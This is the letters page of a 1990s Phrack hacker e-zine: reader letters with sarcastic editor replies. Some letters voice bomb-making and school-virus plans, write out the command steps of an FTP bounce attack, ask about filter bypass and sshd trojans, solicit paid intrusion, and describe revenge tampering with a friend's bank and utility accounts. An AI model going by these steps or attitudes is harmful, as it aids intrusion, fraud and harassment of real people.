0xf>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am a newbie hacker/freaker/cracker/sometimes anarchist. I have read some of your first Phrack issues and I LOVED EM! Especially the bomb making!I am gonna try that stuff when I finally go to my dad's house later on this year....I wanna blow shit up!! I have a submission that you are gonna get sooner or later about making the ULTIMATE pipe bomb....it is REALLY destructive...

THANK YOU

Demonhawk

[ ATTN Deliquent parents: Increase Ritalin by 0.5 mg/Kg. ]

0x10>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Day in the Life of a Teenage

Hacker:

Story of My Current Non‑Life

By:

Demonhawk

I wake up, staring at the ceiling for ten minutes before my mother finally walks in and says, "Time to get up!" I stand and dress myself. Wearing the only thing that I can think of that I like, blue jeans and just whatever shirt looks best at the time.

I go and comb my hair (walking to my mom's end of the trailer house to use that bathroom because mine doesn't have a mirror, nor a sink, nor more than 10x10 feet of space). I walk back to my room and get my books ready for school. The block schedual makes my backpack EXCRUTIATINGLY heavy on B days while on A days it is light as a feather.

I lay down‑most of the time‑and go back to sleep. Others I turn my computer's monitor on and type something for a while (my mom says it is bad to leave your computer on all night, WRONG! Little does she fuckin' know it is better to leave it on!). It is time to go to school and my mom drives me to t he middle school (Connally Middle School) where I go in and play on the computer suntil school starts (get there 30 mins early).

I go to my first class, still groggy from the little rest I had the night before while I lay awake in my bed pondering what I could do to the school's computer system. The recenlty installed network (Novell) was supposedly student proof (little do they know). I have the software and I could hack it easy. Crack the passwords that the teachers think they are so smart to have one that a student can't guess.

I think about the consequences of hacking 'em, then realize that it would be stupid to hack 'em, after all, I am the only one smart enough on the computers to hack em. I can crack Windows passwords (easy) with a boot disk (or even booting into dos).

Last year, I will remember angrily, I remember how I got a bum wrap for crashing a teacher's computer. I was on it then absent for a week and then come back to find out all fingers were being pointed at me. I got kicked off the annual "good kid's" Six Flag trip and that REALLY pissed me off. Then, as the first period teacher begins to yell something like "Get to work!" (I am in shop first period) I wake up and realize I had been thinking. Most of the period I will talk to my friends about hacking (the two‑maybe three‑friends I have in that class) and they will ask me computer questions and I will answer them (and if I don't know an answer I will make one up, after all, they have no idea how to use a computer to its full limitations).

After a few more minutes of thinking I realize a virus will be the way to go. The only problem is putting it on the computer. How? Well, maybe if I can get access to a teacher's computer while she/he is out of the room. Yeah, that would be the only way. But the witnesses (who am I kidding the kids up there would LOVE to see the computers crash, in fact, I have been offered $$$MONEY$$$ to crash em). I think about the virus idea for a moment. Yeah, that is the way to do it. First period is over. I move to my second class. It is a no brainer (on both of the days) and I have a lot of time to plot out my plan. Trojan Horse. Yes, or maybe Darth Vader...as a calling card. Yeah, that would be the way to go. The Trojan Horse virus followed up by the Darth Vader virus. Yes. Well,

I have one of those two. Now lets think here. How to gain access to the computer at school. The teacher looks at me and tells me to "get to work!" and I look at him/her and reply, "But I am already finished!" and they leave me alone. But, maybe I should wait until I am in High School (when the entire district will have the internet) and I could port in and leave the virus. Yeah, that would work, I couldn't be blamed since I wouldn't go to the Middle School any longer. That is a possibility.

I cheat at my math for a while (copying the back of the book for some easy answers) not because I am dumb, hell no, I am in Algebra I in the 8th grade for Christ's sake! No, I am just lazy, except when it comes to the computers. Second period is over.

I walk to my third class of the day, an hour till lunch when I get to talk to my ENTIRE 5 friends at one time (there are some almost friends in this group, people I get along with and, yes, on occasion like to hang around with). You see, I am a "nerd" and proud to be one! Now, this is the thing. I am not just ANY nerd, I am a nerd with RED hair and fairly THICK glasses with THICK frames (I want contact lenses that have mirrored silver on the outside but I am not allowed to have them for some fucking unknown reason). I do my work, hoping that lunch will come, and eventually it does. I walk down the halls meeting a friend or two along the way, getting pushed by hicks that don't think computers are "cool". (Just as something that made people think I did a speech in Drama class on how computers are gonna crash in 2000 because of the Millenium Bug. One kid almost pissed in his pants when I told them safty systems on Nuclear power plants might go offline and how that all cars with electronic timers that shut down until an inspection won't run. Plus power might go out, I think that made them appreciate computer freaks like you and me just a LITTLE more since WE are the only ones that can save them from that hideous fate!!)

I am laughed at because I run and internet Star Wars club (The Conflict at www.geocities.com/Area51/Zone/9875 ). But they don't laugh when I tell them I can hack into the school's computers. They look at me dumbfounded and then make some smart ass remark. I look at them for a second and walk away, I know they don't understand how much of a computer GENIUS I am. Well, to tell the truth I am NOT really a computer GENIUS. Well, in some ways I am. I mean I CRAVE knowledge like I CRAVE food when I am hungry and water when I am thirsty. I can't get enough computer knowledge, I ALWAYS need more (currently I am learning C, C++ JAVA, JAVAScript, Visual Basic, and QBasic <‑‑‑‑I forgot most of what I used to know on that one)

I eat my lunch (usually Nachos but sometimes Lays potato chips and an ice cream) and then go outside where I get an RC Cola. The bell rings and we are all herded back inside the main building where we suffer out the rest of the day.

I make it past the rest of 3rd with no problem. Then comes fourth. It is a little nerve racking to sit there while time slowly slips by, waiting for that bell to ring so that you can be set free of this hellish place. The bell rings and I leave the school, heading outside where the buses load. Mine is the last and after an hour or waiting it arrives (thank GOD I am the first one off) and I go inside my nice, cool house. I turn my computer on (if it is off) and begin my homework (I lie about having homework so that I can play on the computer without being touched by my mother). I wash the dishes and water the dogs. Then I sit down and play on the computer a little bit.

I get on the internet a little while later. I learn a LITTLE more hacking and play some games over the internet (ain't technology wonderful???). I am far from being an 31337 hacker, but I am doing some good a little. I am basically a newbie but I can still hack Novell (childs play). After a while of this I take a shower and lie down in bed, dreading the next day (unless, of course, it is a weekend).

And that, is my Non‑Life.

[ ATTN DELIQUENT PARENTS: Increase Ritalin by 1201293 mg/Kg. ]

0x11>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear sir,

First off, i think phrack is a wonderful publication, the best of its kind and better than most, if not all, of the computer related commercial publications. You and your staff are doing a great job and please keep up the excellent work :)

[ So, we're better then 2600. Thanks! *That's* the validation we needed! ]

That said, i have a request. I'm writing a paper on the hacking subculture and such a project would be, to say the least, severely lacking without the inclusion of groups like Phrack Inc., 10pht, and

[ Phrack is not incorporated. And you mean `l0pht`. ]

r00t. So i would greatly appreciate it if you could fit it into your

[ You are already severely lacking. You failed to mention the guild. You even forgot b0w. ]

doubtless busy schedule to send me a history of Phrack. It can be as brief or as in‑depth as youd like. From just the date of creation and pivotal events in Phrack history to a summary of every passing member's contributions to the publication.. anything you can send will be an asset to me. Also, if you or any of your staff members would be so

[ I'll get some of my interns right on that. Alhambra! Get to it! ]

gracious and godly‑wonderful as to answer the few questions below that would also be greatly, GREATLY appreciated.

Q: What is your most commonly used handle and why did you choose it?

[ `route`. Cos I thoroughly route my foes. And also cos I route through all my girlfriends' purses when they are in the bathroom. ]

Q: What is your position at Phrack?

[ I AM PHRACK. ]

Q: When did you realize you were a hacker(or phreaker, cracker, whatever applies to you)?

[ It is something you are born with. It is not something you learn. There is no single moment of realization. It is something you just `are`. It is this unexplicable and inexorable pursuit of knowledge. To learn. To break. To fix. To push. To optimize. To learn. To hack. ]

Q: What do you think hacking is Really about?

[ Oh c'mon man. Chicks and Money. That's what it ALL boils down to. ]

Q: How do you think the 'scene' has changed, and where would you like to see it go?

[ See P48‑02a ]

Q: If you could say anything to the community at large about hacking, what would it be?

[ Um. Most of what you people consider hacking is simply a justification or shield for doing illegal acts. ]

One last thing, do you know where(email, www address, whatever) i could contact current or former members of 10pht, r00t, or any real

[ Um. Let's see. http://www.l0pht.com. http://www.r00t.org. And so on.

You're not a very smart person. ]

group (ie: not one of the lame new groups trying, unsuccessfully, to copy the greatness of the older groups)?

Any response, including negation so i can search elsewhere, would be greatly appreciated. Thank you for your time.

Weaver

0x12>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Is it possible to "Hide" your ip while on tcp/ip connection

if so how?

Thanx

[ Yes, look into Onion Routing. ]

0x13>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi Phrack‑editors,

I'm looking for a good and experienced hacker to hack a German site. There is enough money involved to satisfy you.

[ My price is quite high. Actually, fuck it. I don't want money. Give me flesh and fame. Get me some elite movie role where I am the hero and Milla Jovovich is my love interest. Then we'll talk. ]

I will give your more information with further correspondence.

Please let me know soon if you are interested, (just reply to this usa.net address), thank you,

Diogenes

0x14>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I recently read about the ancient ftp bounce attack. I have tried it and it works on versions of ftp that are lower than wu‑2.4.2. Here's what I do.

[Receiving Machine no system req's except write access]

TYPE I

PASV (Give's IP then port)

STOR

[Sender Machine w/ver 2.4 or lower]

TYPE I

PORT <reciever's IP and port that was shown in the PASV command's output> RETR <filename>

[Receiving Machine]

Binary Mode Transfer Started

It then goes on to get the file.

But...

If it is a wu‑2.4.2 ver computer, the sender machine says Illegal PORT Command, when you type the IP and port of the receiving computer. You can only do a PORT command that includes the IP address that I am coming from. Sorry to say I don't know how to do any kind of source route or IP spoofing, although I'd be interested to hear if this was the only answer, and am not sure if there is a way to get around this.

0x15>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

how can I phreak succsesfully in Germany???

[ The Germans hated me when I was there. I think they hate all Americans. Something to do with WWII or something I guess. ]

0x16>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello there :)

Probably u don't know who I am ...

[ Definitely. ]

well, I'm an italian boy and I wish to say ya one thing ...

You're Great.

[ Oh. C'mon now... Really? ]

I've just start to reading Phrack (the last issues) and I guess that it's a very cool wonderful zine.

[ Get out. You think so? ]

Why am I tell ya this ??

Well, since I think that one person is as ya ... well he's great.

[ Now stop that. I'm really getting embarassed. ]

I'm trying to learn something from ya (and I shall overcome .... I hope :) ) I'm interesting in hacking .. but I'm not like some other ppl that always ask "How can I be an hacker ??" "where I can find something to became root" I guess that they haven't understood nothing

The REAL HACKER (for me) is an expert, has an etic and he hack to learn The knowledge is one of the thing most important in the world (the other ones are the GIRLS =) )

So I won't ask ya how to be an hacker ... (even cause you'll propbably say me FUCK YOU ;) )

we're so far but maybe one day we could meet :) to share our knowledge

[ Wait a minute. Are you coming on to me? ]

Well, Thanx a lot and excuse me for all the time you spent to read this letter Excuse me also for my terrible english

[ NP. Luckily Aleph1 was over, so he translated for me (`course, then I needed someone to translate that, too). ]

Cool and great stuff has Phrack =)

[ Agreed. Great stuff has Phrack. ]

0x17>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, i noticed that you fixed up your web page, and thats nice, but my probelm is, that when i downloaded the phrack 51 issue, it came like this : " phrack51.tar.gz " so,....what kind of program do i use to open it? Can you just put all issues in zip format? That would help us all!

[ 'Us all'? You are of course refering to the entire moron population. Phrack does not cater to the morons of the world, sorry. Try 2600. I hear their target audience is a bit thicker skulled. ]

0x18>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi,

I sent you an email a while back asking you to forward a message to an author of one of your articles, since he wanted to remain anonymous. However I never got any reaction either from the author or from you. It's really important for me that I find him to discuss some techicalities.

The article was; "How to make your own telecards" Volume Seven, Issue Forty‑Eight, File 10 (and 11) of 18

Did you manage to send the email off to him successfully?

All I want is for him to contact me on this address (raven@swipnet.se). If he wants to remain anonymous he could easily create an email account on www.hotmail.com or another service of that kind.

It would be very nice of you to forward this email to the author of the article and reply to me wether it was sent successfully or if it bounced back.

thanks

[ This is the best we can do. ]

0x19>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey there... is there any way to get phrack in just one big file instead of getting it in a lot of separate files? Thanks...

Thanks,

Crystalize

[ `cat phrack* > master_phrack.blob` ]

0x1a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

im having trouble finding uk phreak iNfOs! can u help me out? im looking 4 bt c7 info and uk payphones. cheers

[ Hrm. I know several Brits who like me tho. And I like them, too. Much more then the Germans. The .uk girls are waaay prettier too. ]

0x1b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HELP> Your the Best I need your help FAST

[ AHM THE BEST!@ ]

I have 2 files in Corel Word Perfect 7.0 that have pass words on them I need the Fast Can you help? Or know anyone who can?

I'm in the U.S.

[ Great. We're practically neighbors then. ]

I will pay I hear your one of the Best out there :‑)

[ AHM THE BEST!@ ]

Melissa

P.S.I need to try to get these by Sun. Night I can e‑mail them to you?

[ Hrm. `Melissa` huh... Hrm.. You'd better bring them over, this could take a while. ]

0x1c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Just wondered why everyone raves about PGP, even thogh it's breakable.

[ What the hell are you talking about? ]

Is it possible to by‑pass 'Proxy blocks' on an internet connection? The local iNet connection has blocks on all hack/warez sites whereby when you try and access them you get a 'You're trying to access a filtered URL' message. I figured it would be possible to re‑route the conneciton but haven't a clue how.

[ Shure. Try some covert tunneling via IP fragmentation or IP‑IP. ]

Also, how do you find out all this stuff about tapping phones, cell‑net busting and telephone, errr, dabbling?? Do you research it yourself or just accumulate it form others?

[ Everything I know about phones is self‑taught. ]

Many thanks,

Denyerec

0x1d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi,

I've been reading a‑lot of phrack zines lately and seeing your name in most of them, I thought your the best to answer my questions ???

To become a hacker where do I start ?

[ New Zealand. Or at least as far away from CA as possible. ]

What books should I read ?

[ Anything by Stevens/Knuth or any of the millions of smarter‑then‑you people out there. It's a safe bet that, if they wrote a book, they're smarter then you. Very safe bet. Like, Fort Knox safe. ]

What languages do I have to learn ?

[ English is a good start. ]

Which sites are the best to go to for information on hacking (including newsgroups) ?

[ Anything in the alt.* hierarchy is a good plan. It's ALL *choice* material. ]

I've only started hacking and that's into applications on my computer and my friends computers.

[ That's nice. ]

I hope I'm not bothering you with this message.

[ No bother at all. I'm shure you've made someone smile, somewhere. ]

0x1e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Phrack,

I'm looking for a phreak to work in France and I couldn't find such informations on the Net; so, is there any chance that blue box may work in France, or the Phoney app which comprise red, bleu, green, and black boxes, and if so it is, how does it work ?

Also, there is any site on the Net where I can find informations and tools for phreak in France?

Thank you so lot by advance for your advices.

[ Now, I don't know any French people, but, I think if I met some, they would like me. I don't give into all that `French people suck` propaganda. Nono. I think they rock. And the French women are really pretty, too. ]

0x1f>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I use a macintosh when I ip spoof. Please, if you use a macintosh, send me a hacked version of TCP/IP an/or a hacked version of Open Transport. thanks.

[ You're neat. Let's be pen‑pals. ]

0x20>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello!

Sorry for borring you, but I've some problems with L2 on FreeBSD‑2.2.1R and decide to ask you about some tech details.

The problem is that 'loki' unable to receive ICMP_ECHO packets from 'lokid'. I dig through kernel netinet sources and AFAIK, there is no way to pass ICMP_ECHO packets to userland. In ip_icmp.c we have:

ICMP_ECHO‑>icmp_input()‑>icmp_reflect()‑>ICMP_ECHO_REPLY‑>icmp_send()‑>net

So, there is no chance to receive ICMP_ECHO in application program, isn't it?! Unfortunately, I've no access to Linux box, so I can see what's hapen there.

[ You are correct. In the accopmanying paper I allude to this problem. Net/3 based stacks will not pass ICMP request packets to userland. ]

Is there are any workarounds? I can patch my kernel, but I think this is not right way. What do you think about this?

[ Running the client and daemon on Net/3 boxes is a problem. ]

p.s. The idea of patch is simple ‑ create copy of packet's mbuf via m_copy(), send it to rip_output() and only after that pass original packet to icmp_reflect().

[ Cool! Write the patch up and I'll publish it in a future issue. ]

Regards, Roman.

0x21>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I would like to put a request out for all so called "hackers" to join up i can't find nobody to talk to in this Hellhole Richmond,Virginia I want to put a message up for all VA area code 804 hackers that live near richmond to email me at DrMischief@juno.com . ThanX

ThanX,

Mischief

ALIAS: DrMischief

[ Here's your chance. ]

0x22>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let me start by saying your magazine is great. I read it whenever I have time. I am a newbie and want to know if you know anyone who could help me get started who lives/operates in the Morris County, NJ area.

~The Gator

P.S. If you know anyone using the handle 'The Gator', can you please tell me so I don't offend anyone.

[ You mean you haven't checked in the official codename repository? Oh boy. I don't envy you. `The Gator` is one of the most sought after nicks in the history of nicks! You're in for it now. God help you. ]

0x23>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello!

Thanks for such a good e‑zine. It has a lot of relevant articles, and it helped me start hacking. Again. thanks for that.

I was wondering one thing, however: do you know onything about the Mentor? He wrote the Hacker MAnifesto, and I believe he wrote an article for phrack once...... Could you give me any help, please? I'm dong this for a school project....

[ I hear the mentor joined a new wave band and changed his name to Bobbysox. ]

0x24>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Where can I find a sshd.c trojan?

[ http://www.cs.hut.fi/ssh/#current‑version ]

0x25>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'd like to know if someone of you ever made some compiling in

C (I'd like something for you) thank's

[ Huh? ]

0x26>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, I need a FALSE IP APP: Can You Help ME?

[ NO I can't HELP you AT all. ]

0x27>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I heard about Phrack magaine issue talks about hijacking sessions, which one is that issues? I can't find it.

[ P50‑06 ]

0x28>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm trying to reach all the real hackers and phreaks (not stupid warez lamers) in the 601 area code, especially those around Lauderdale county, so I figured Phrack would be a good place to start.

A few friends and I are gonna be starting some get‑togethers at the new Bonita Lakes Mall in Meridian when it opens up later this October (probably long past by the time the issue of Phrack this will be in comes out).

All fellow readers interested in reviving the HP scene in the East Mississippi‑West Alabama area are welcome to come (reviving assumes that there was ever a scene here in the first place. We're quite boring hicks in this part of the country).

If you're planning on coming, or want more info, please E‑Mail me at weaselsoftware@hotmail.com

Even if we just have the locals, we should have a lot of fun, so if all goes well, I just might be writing an article for Phrack about it, if ya'll would be interested.

[ We would'nt be. Ya'll. ]

Cheers,

‑|/|/easel

0x29>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'v have a few questions about Juggernaut:

1) can it capture ethernet packet ?

[ It can capture many. ]

2) can it act like sniffer ?

[ Shure. ]

3) which compiler

[ GNU C compiler ]

4) does it have to run on root

[ No, it has to run as root. ]

5) which plateform does it work on?

[ Linux (legacy version) Linux, BSD, Solaris (current unreleased version) ]

0x2a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You could say I'm a newbie or novice. I would be very greatful if you could send info on anything on beginning hacking. Like what computers are the best and what additional accessories you need. So in short please send any info you could. Thanks.

[ WHAT AM I DOING? I AM PUBLISHING PHRACK. WHAT IS PHRACK ABOUT? PHRACK IS ABOUT DISSEMINATING ENTROPIC INFORMATION TO ANYONE WHO WANTS IT. ARE YOU CONFUSED? IT WOULD APPEAR SO. ]

0x2b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I have heard about your magazine. I am not new but I am not experienced to this side. Would you please guide me to where I would begin. pool

[ P51‑02@0x2a ]

0x2c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Kong‑ratz Guyz! You made it onto C|NET Last night at 10 on (Sept) the 5th. They were bashing you! Damn..... Well thats it. C‑ya!

[ Hrm. ]

0x2d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After reading Phrack for years and being in the computer industry for 18+ years, I thought it was time that I write in. I have been reading Phrack for about 6 years now. Even talked to Erik Bloodaxe a few times in regards to Banyan Vines a couple of years ago when I was in the military. The scene seems to have changed so much now. It used to be full disclosure for the most part. Now everyone is so paranoid of sharing what they know, since everyone will rush a patch out for the latest exploit. How do you think others learned? Hacking is and always will be about exploring the limits of systems and networks. As you learn and share, others can expand their knowledge base. I started back on Atari 400s years ago coding in BASIC. I know many will laugh at that very thought, but it was a start. The groups back then were very tight, but also willing to help each other. If you showed a willingness to learn, and took the time to learn, instead of just leeching, it was amazing what others would do to help you.

I have been digging through tons of sites lately, most are outdated hacks from what I have seen. Most places patch as fast something hits the `Net. But at least you can learn from the code if you take the time. I want to sends congrats out to Phrack. You guys along with a handful of others make it a point to keep sending things out to us in the community. One of the comments I am sure to hear is, then why don't you contribute things? I have not to Phrack directly, but that will change soon. I don't have a lot that is that great, that hasn't been patched for already. Mine is more tinkering and learning. Anyway, I am sure I have rambled enough for now. Just thought I would give my $.02 worth. Keep up the good work at Phrack!

L8R,

D‑Man

0x2e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am looking for a REALLY good telenet software and an also REALLY good

[ I like the telnet software that comes with 4.4BSD. ]

scanner software. Can you refer me anywhere?

[ Scanners was a terrifiing movie! Why would you want to scan someone?!@ ]

I also would like to know how you decode the password in the passwd file.

For example it writes:

john: x :9999 :13: John Johnson:/home/dir/john:/bin/john

[ 'x' is a shadow password token. It cannot be decrypted. Futhermore: Unix passwd encryption is based on a modified version of DES. The user enters her login and password at the prompts. The user entered password is used as a key to encrypt a 64‑bit block of NULLs. The first seven bits of each character are extracted to form a 56‑bit key. (The other eight are used for parity.) This implies that only eight characters are significant to a password. The E‑table is then modified using the salt, which is a 12‑bit value, coerced into the first two chars of the stored passwd. The salt's purpose is to make precompiled passwd lists and DES hardware chips ineffectual (or more difficult to use). Then, DES is invoked for 25 iterations on the block of zeros. The output is 64‑bits long, and is then coerced into a 64 character alphabet (0‑9, A‑Z, a‑z, ".", "/"). This involves translations in which several different values are represented by the same character. Unix passwd crypts are the product of a one‑way hash. Information about the key is dropped in every iteration. Bits are LOST in the process. crypt(3), therefore, CANNOT be decrypted, reversed, or otherwise subverted from any type of scrutiny of it's output. ]

0x2f>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To the Editor:

I have to give out props to the job done on Phrack51.....it just keeps getting better and better. Iv'e enjoyed Phrack 1‑50 but i must say that since the current staff of the mag took over iv'e really noticed a marked improvement in the qaulity and content of the articles. Thanx for making this magazine available to all of us out here who are reading and learning But just one thing wheres my pics of Mila Jovavich in the nude!!!!!!

NMEwithin

[ http://www.infonexus.com/~daemon9/PIX/milla4.jpg ]

0x30>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

a story of adolencent revenge..by a not so adolencent at 3:37 am

[ Be warned. This is long. ]

So here i sit surrounded by an ashtray full of butts, empty beer cans, empty 2 liters, a giant pile of papers, a stack of cd's, dirty dishes, tangled cords, red and green lights, the ticking of the furnace and blurred vision. Just got back from the pool hall and pissed off. why? because an old friend is getting married tomorrow and I was not invited. Well WAS a friend is more to the point. Betrayal in any form is a great primer for hatred. I am a twenty something (hate that fucking phrase) loser with no clue on what the future holds..but I find pleasure in figurative masterbation with MY processor. Match wits with this bitch, tell IT what to do and make it my slave...cheap thrill. Having power over something or someone is great while it lasts..as long as you do not have a concience. But I was wronged, so it is justified..my actions I mean... right? My girlfriend is asleep upstairs and thinks I sit up a nights doddeling to porn sights. I tell her that my pc is not working right, so that is why I am always working on it...that fucker bill gates. If he was a smart as the world beleives he is, these activities would not be so easy. Back to the point. (sorry! had a few too many). So I sign on...search for allies, find them among other assholes that have somehow learned one of my handles. My buddies are up to some funny shit, not total anarchy, but funny none the less. So what do I do...I tell them that I am in a bad state of being at the moment..they ask why, "Time for pain!" is what I read. You know how it is. A friend since first grade on through college just fucked you for the 100th time. I feel sick about it, but none the less it's time to put to work the tricks of the trade. I give my TRUE friends the skinny on my intentions, they ablige with laughter and frothing mouths. I cough up his SS#, home, phone, bank, work, license, and online accounts. Too late to turn back now. It's funny how one will actually take the gas pipe for virtual strangers that one has formed an online bond with, and will enlist them in a sceme to fuck a real time friend. (ex‑friend). Number one, divide up the tasks. Number two, failure is NOT an option. N!umber three, ruin wedding. So here we go...secretary of state was a blow off, no brainer. PhoneCo a bit tougher (but been there before). Bank..oh the bank.. online banking 24/7 was such a good idea. My collective cohorts and I were like pitbulls fighting over the neighbors cat. Giggeling like schoolgirls. HEY we are elite! or so we think..most of our shit (not all) was built by others before us. We did modify code, but the backbone was not our own. Now it is 4:30 am and the shit is flying...after reading the "underground" being a martyr seems cool. My head is spinning, but I have to remain focused at all times..it is hard. Account activity...money is due to the banquet facility tomorrow. At least the balance of the shindig after the initial deposit. Check numbers and cleared transactions. He has no fucking clue! The best part was that he had mentioned writing a check for his balance only one day before.... but the amount owed was not cleared yet on his account. So time to insert! ‑‑0.00 balance. Too easy. OK, fine. Just a bounced check to deal with. Phones turned off (schedualed termination for lack of response to notices sent). Oh yeah..did I mention Utilities? Bank takes care of payment...how convenient. Car payments, insurance, mortgage the whole nine. Zip, Zero, Zed. A repeater. Constant (0.00). I am an asshole, I know, but being fucked by a 'FRIEND" is troubeling and unforgivable in this situation. One more thing..Company Voice mail...fucked. Left a text to speech recording to boss, too funny and implicating to dillhole. It's like giving beavis and butthead a small piece of gray matter that works for only bad things. I should of been invited to this wedding, but never the less, he is marrying a whore. This may sound vindictive or like sour grapes, but totally true. So actaully we are doing him a service, he just does not know it. The "ruin the wedding" part is actually out. It will happen and the avalanche of our actions will not start until the following week. But at least i did something, right? What a stupid thing to concentrate on. I am an idiot with things I should not have. Most of my collective friends are striking political targets...I am bouncing a check. But I am over it now. Time to sit back and wait...wait for the phone call from a mutual friend to give me the dirt. I guess I am the type of guy that would get a boner if I reset his sprinkler timer to go off when he is trying to get in his car. Totally retarded, but I would laugh for days. Whats wrong with me? I am now sitting here in my self‑made dungeon scratching my head saying to myself "boy that was way harsh". I know some people would pose the question, "what did he do to desrve this type of retaliation?". You know what it's like, you have been there at one time, and everyone reaches a point where counter measures are warranted. Case closed. What we did was but an inconvenience, but will be remedied. Nothing was left beyond repair. It's at these times! (no matter how trivial) you find out who is willing to take a bullet for you. And in some fucked up way, that is important. At least it is to me. it's 7:49 am and time for the sandman.

SychoSiS ‑ The Collective.

[ I am not sure which saddens me more, the fact that you actually spent several hours writing this, or the fact that I spent several minutes reading it. Now Phrack's loyal readers can feel my pain and read this for themselves. ]

0x31>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To whom it may concern:

I believe that I submitted an article to your publication on hacking the phones at your local WAL~MART, please be advised that I submitted the same article to 2600 magazine and blacklisted 411, however I submitted the article to 2600 magazine before yours or blacklisted, they have decided to publish my article, and there fore I wish to inform you of this so there is no confusion.

Thank you for your attention,

Pirho

‑‑

Brought to you by Pirho and the International Brother Hood Of Frat Houses.

[ We can only hope that your article brings Emmanuel and the rest of the 2600 editorial team as much amusement as it brought us. Not from going and harassing people at Walmart, no. Mostly from laughing at you for writing it. We'll leave the articles on hacking things like Walmart and Disney World for publication by 2600. We like to think we still have a reputation for quality. ‑alhambra ]

